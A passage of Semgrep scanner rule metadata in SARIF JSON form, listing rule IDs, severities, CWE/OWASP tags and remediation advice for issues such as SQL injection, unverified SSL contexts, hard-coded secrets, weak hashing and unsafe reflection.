forgeries."},"helpUri":"https://semgrep.dev/r/javascript.node-crypto.security.gcm-no-tag-length.gcm-no-tag-length","id":"javascript.node-crypto.security.gcm-no-tag-length.gcm-no-tag-length","name":"javascript.node-crypto.security.gcm-no-tag-length.gcm-no-tag-length","properties":{"precision":"very-high","tags":["CWE-310: CWE CATEGORY: Cryptographic Issues","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.node-crypto.security.gcm-no-tag-length.gcm-no-tag-length"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Unverified SSL context detected. This will permit insecure connections without verifying SSL certificates. Use 'ssl.create_default_context' instead."},"help":{"markdown":"Unverified SSL context detected. This will permit insecure connections without verifying SSL certificates. Use 'ssl.create_default_context' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.unverified-ssl-context.unverified-ssl-context)\n - [https://docs.python.org/3/library/ssl.html#ssl-security](https://docs.python.org/3/library/ssl.html#ssl-security)\n - [https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection](https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection)\n","text":"Unverified SSL context detected. This will permit insecure connections without verifying SSL certificates. Use 'ssl.create_default_context' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.unverified-ssl-context.unverified-ssl-context","id":"python.lang.security.unverified-ssl-context.unverified-ssl-context","name":"python.lang.security.unverified-ssl-context.unverified-ssl-context","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.unverified-ssl-context.unverified-ssl-context"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.sql.postgres-taint.postgres-taint)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.actix.sql.postgres-taint.postgres-taint","id":"rust.actix.sql.postgres-taint.postgres-taint","name":"rust.actix.sql.postgres-taint.postgres-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.sql.postgres-taint.postgres-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.gorm.gorm-hardcoded-secret.gorm-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.gorm.gorm-hardcoded-secret.gorm-hardcoded-secret","id":"go.secrets.gorm.gorm-hardcoded-secret.gorm-hardcoded-secret","name":"go.secrets.gorm.gorm-hardcoded-secret.gorm-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.gorm.gorm-hardcoded-secret.gorm-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead."},"help":{"markdown":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils","id":"java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils","name":"java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"$POOL.get_virtual_price() call on a Curve pool is not protected from the read-only reentrancy."},"help":{"markdown":"$POOL.get_virtual_price() call on a Curve pool is not protected from the read-only reentrancy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.curve-readonly-reentrancy.curve-readonly-reentrancy)\n - [https://chainsecurity.com/heartbreaks-curve-lp-oracles/](https://chainsecurity.com/heartbreaks-curve-lp-oracles/)\n - [https://chainsecurity.com/curve-lp-oracle-manipulation-post-mortem/](https://chainsecurity.com/curve-lp-oracle-manipulation-post-mortem/)\n","text":"$POOL.get_virtual_price() call on a Curve pool is not protected from the read-only reentrancy."},"helpUri":"https://semgrep.dev/r/solidity.security.curve-readonly-reentrancy.curve-readonly-reentrancy","id":"solidity.security.curve-readonly-reentrancy.curve-readonly-reentrancy","name":"solidity.security.curve-readonly-reentrancy.curve-readonly-reentrancy","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.curve-readonly-reentrancy.curve-readonly-reentrancy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure EFS filesystem is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure EFS filesystem is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-efs-filesystem-encrypted-with-cmk.aws-efs-filesystem-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure EFS filesystem is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-efs-filesystem-encrypted-with-cmk.aws-efs-filesystem-encrypted-with-cmk","id":"terraform.aws.security.aws-efs-filesystem-encrypted-with-cmk.aws-efs-filesystem-encrypted-with-cmk","name":"terraform.aws.security.aws-efs-filesystem-encrypted-with-cmk.aws-efs-filesystem-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-efs-filesystem-encrypted-with-cmk.aws-efs-filesystem-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Possible path traversal through `tarfile.open($PATH).extractall()` if the source tar is controlled by an attacker"},"help":{"markdown":"Possible path traversal through `tarfile.open($PATH).extractall()` if the source tar is controlled by an attacker\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.tarfile-extractall-traversal.tarfile-extractall-traversal)\n - [https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall](https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall)\n","text":"Possible path traversal through `tarfile.open($PATH).extractall()` if the source tar is controlled by an attacker"},"helpUri":"https://semgrep.dev/r/trailofbits.python.tarfile-extractall-traversal.tarfile-extractall-traversal","id":"trailofbits.python.tarfile-extractall-traversal.tarfile-extractall-traversal","name":"trailofbits.python.tarfile-extractall-traversal.tarfile-extractall-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.tarfile-extractall-traversal.tarfile-extractall-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"$sceDelegateProvider allowlisting can introduce security issues if wildcards are used."},"help":{"markdown":"$sceDelegateProvider allowlisting can introduce security issues if wildcards are used.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-resource-loading.detect-angular-resource-loading)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsJs](https://docs.angularjs.org/api/ng/service/$sce#trustAsJs)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"$sceDelegateProvider allowlisting can introduce security issues if wildcards are used."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-resource-loading.detect-angular-resource-loading","id":"javascript.angular.security.detect-angular-resource-loading.detect-angular-resource-loading","name":"javascript.angular.security.detect-angular-resource-loading.detect-angular-resource-loading","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-resource-loading.detect-angular-resource-loading"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If an attacker can supply values that the application then uses to determine which class to instantiate or which method to invoke, the potential exists for the attacker to create control flow paths through the application that were not intended by the application developers. This attack vector may allow the attacker to bypass authentication or access control checks or otherwise cause the application to behave in an unexpected manner."},"help":{"markdown":"If an attacker can supply values that the application then uses to determine which class to instantiate or which method to invoke, the potential exists for the attacker to create control flow paths through the application that were not intended by the application developers. This attack vector may allow the attacker to bypass authentication or access control checks or otherwise cause the application to behave in an unexpected manner.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.unsafe-reflection.unsafe-reflection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"If an attacker can supply values that the application then uses to determine which class to instantiate or which method to invoke, the potential exists for the attacker to create control flow paths through the application that were not intended by the application developers. This attack vector may allow the attacker to bypass authentication or access control checks or otherwise cause the application to behave in an unexpected manner."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.unsafe-reflection.unsafe-reflection","id":"java.lang.security.audit.unsafe-reflection.unsafe-reflection","name":"java.lang.security.audit.unsafe-reflection.unsafe-reflection","properties":{"precision":"very-high","tags":["CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.unsafe-reflection.unsafe-reflection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $translateProvider.translations method can be dangerous if user input is provided to this API."},"help":{"markdown":"The use of $translateProvider.translations method can be dangerous if user input is provided to this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-third-party-angular-translate.detect-angular-translateprovider-translations-method)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsUrl](https://docs.angularjs.org/api/ng/service/$sce#trustAsUrl)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $translateProvider.translations method can be dangerous if user input is provided to this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-third-party-angular-translate.detect-angular-translateprovider-translations-method","id":"javascript.angular.security.detect-third-party-angular-translate.detect-angular-translateprovider-translations-method","name":"javascript.angular.security.detect-third-party-angular-translate.detect-angular-translateprovider-translations-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-third-party-angular-translate.detect-angular-translateprovider-translations-method"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.postgres.hardcoded-password.hardcoded-password)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.postgres.hardcoded-password.hardcoded-password","id":"rust.secrets.postgres.hardcoded-password.hardcoded-password","name":"rust.secrets.postgres.hardcoded-password.hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.postgres.hardcoded-password.hardcoded-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as scrypt. You can use `hashlib.scrypt`."},"help":{"markdown":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as scrypt. You can use `hashlib.scrypt`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.md5-used-as-password.md5-used-as-password)\n - [https://tools.ietf.org/html/rfc6151](https://tools.ietf.org/html/rfc6151)\n - [https://crypto.stackexchange.com/questions/44151/how-does-the-flame-malware-take-advantage-of-md5-collision](https://crypto.stackexchange.com/questions/44151/how-does-the-flame-malware-take-advantage-of-md5-collision)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n - [https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords](https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords)\n - [https://github.com/returntocorp/semgrep-rules/issues/1609](https://github.com/returntocorp/semgrep-rules/issues/1609)\n - [https://docs.python.org/3/library/hashlib.html#hashlib.scrypt](https://docs.python.org/3/library/hashlib.html#hashlib.scrypt)\n","text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as scrypt. You can use `hashlib.scrypt`."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.md5-used-as-password.md5-used-as-password","id":"python.lang.security.audit.md5-used-as-password.md5-used-as-password","name":"python.lang.security.audit.md5-used-as-password.md5-used-as-password","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.md5-used-as-password.md5-used-as-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`$mysqli->prepare(\"INSERT INTO test(id, label) VALUES (?, ?)\");`) or a safe library."},"help":{"markdown":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`$mysqli->prepare(\"INSERT INTO test(id, label) VALUES (?, ?)\");`) or a safe library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`$mysqli->prepare(\"INSERT INTO test(id, label) VALUES (?, ?)\");`) or a safe library."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-sql-string.tainted-sql-string","id":"php.lang.security.injection.tainted-sql-string.tainted-sql-string","name":"php.lang.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure IAM policies don't allow credentials exposure. Credentials exposure actions return credentials as part of the API response, and can possibly lead to leaking important credentials. Instead, use another action that doesn't return sensitive data as part of the API response."},"help":{"markdown":"Ensure IAM policies don't allow credentials exposure. Credentials exposure actions return credentials as part of the API response, and can possibly lead to leaking important credentials. Instead, use another action that doesn't return sensitive data as part of the API response.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-creds-exposure.no-iam-creds-exposure)\n - [https://cloudsplaining.readthedocs.io/en/latest/glossary/credentials-exposure/](https://cloudsplaining.readthedocs.io/en/latest/glossary/credentials-exposure/)\n - [https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMCredentialsExposure.py)\n","text":"Ensure IAM policies don't allow credentials exposure. Credentials exposure actions return credentials as part of the API response, and can possibly lead to leaking important credentials. Instead, use another action that doesn't return sensitive data as part of the API response."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-creds-exposure.no-iam-creds-exposure","id":"terraform.lang.security.iam.no-iam-creds-exposure.no-iam-creds-exposure","name":"terraform.lang.security.iam.no-iam-creds-exposure.no-iam-creds-exposure","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-creds-exposure.no-iam-creds-exposure"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `sequelize.query('SELECT * FROM projects WHERE status = ?', { replacements: ['active'], type: QueryTypes.SELECT });`"},"help":{"markdown":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `sequelize.query('SELECT * FROM projects WHERE status = ?', { replacements: ['active'], type: QueryTypes.SELECT });`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.sequelize-sqli.sequelize-sqli)\n - [https://sequelize.org/master/manual/raw-queries.html](https://sequelize.org/master/manual/raw-queries.html)\n","text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `sequelize.query('SELECT * FROM projects WHERE status = ?', { replacements: ['active'], type: QueryTypes.SELECT });`"},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.sequelize-sqli.sequelize-sqli","id":"javascript.aws-lambda.security.sequelize-sqli.sequelize-sqli","name":"javascript.aws-lambda.security.sequelize-sqli.sequelize-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.sequelize-sqli.sequelize-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent via Java Spring RestTemplate API to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"help":{"markdown":"Checks for requests sent via Java Spring RestTemplate API to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-spring.spring-http-request.spring-http-request)\n - [https://docs.spring.io/spring/docs/current/javadoc-api/org/springframework/web/client/RestTemplate.html#delete-java.lang.String-java.util.Map-](https://docs.spring.io/spring/docs/current/javadoc-api/org/springframework/web/client/RestTemplate.html#delete-java.lang.String-java.util.Map-)\n - [https://www.baeldung.com/rest-template](https://www.baeldung.com/rest-template)\n","text":"Checks for requests sent via Java Spring RestTemplate API to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-spring.spring-http-request.spring-http-request","id":"problem-based-packs.insecure-transport.java-spring.spring-http-request.spring-http-request","name":"problem-based-packs.insecure-transport.java-spring.spring-http-request.spring-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-spring.spring-http-request.spring-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-code-execution.tainted-code-execution)\n - [https://owasp.org/www-community/attacks/Code_Injection](https://owasp.org/www-community/attacks/Code_Injection)\n - [https://stackoverflow.com/questions/3115559/exploitable-php-functions](https://stackoverflow.com/questions/3115559/exploitable-php-functions)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/NoEvalsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/NoEvalsSniff.php)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-code-execution.tainted-code-execution","id":"php.lang.security.tainted-code-execution.tainted-code-execution","name":"php.lang.security.tainted-code-execution.tainted-code-execution","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-code-execution.tainted-code-execution"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a util.format / console.log function. If an attacker injects a format specifier in the string, it will forge the log message. Try to use constant values for the format string."},"help":{"markdown":"Detected string concatenation with a non-literal variable in a util.format / console.log function. If an attacker injects a format specifier in the string, it will forge the log message. Try to use constant values for the format string.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.unsafe-formatstring.unsafe-formatstring)\n - [https://cwe.mitre.org/data/definitions/134.html](https://cwe.mitre.org/data/definitions/134.html)\n","text":"Detected string concatenation with a non-literal variable in a util.format / console.log function. If an attacker injects a format specifier in the string, it will forge the log message. Try to use constant values for the format string."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.unsafe-formatstring.unsafe-formatstring","id":"javascript.lang.security.audit.unsafe-formatstring.unsafe-formatstring","name":"javascript.lang.security.audit.unsafe-formatstring.unsafe-formatstring","properties":{"precision":"very-high","tags":["CWE-134: Use of Externally-Controlled Format String","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.unsafe-formatstring.unsafe-formatstring"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm."},"help":{"markdown":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.passlib.passlib-insecure-hash.passlib-insecure-hash)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n","text":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm."},"helpUri":"https://semgrep.dev/r/python.passlib.passlib-insecure-hash.passlib-insecure-hash","id":"python.passlib.passlib-insecure-hash.passlib-insecure-hash","name":"python.passlib.passlib-insecure-hash.passlib-insecure-hash","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.passlib.passlib-insecure-hash.passlib-insecure-hash"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected admin access granted in your policy. This means anyone with this policy can perform administrative actions. Instead, limit actions and resources to what you need according to 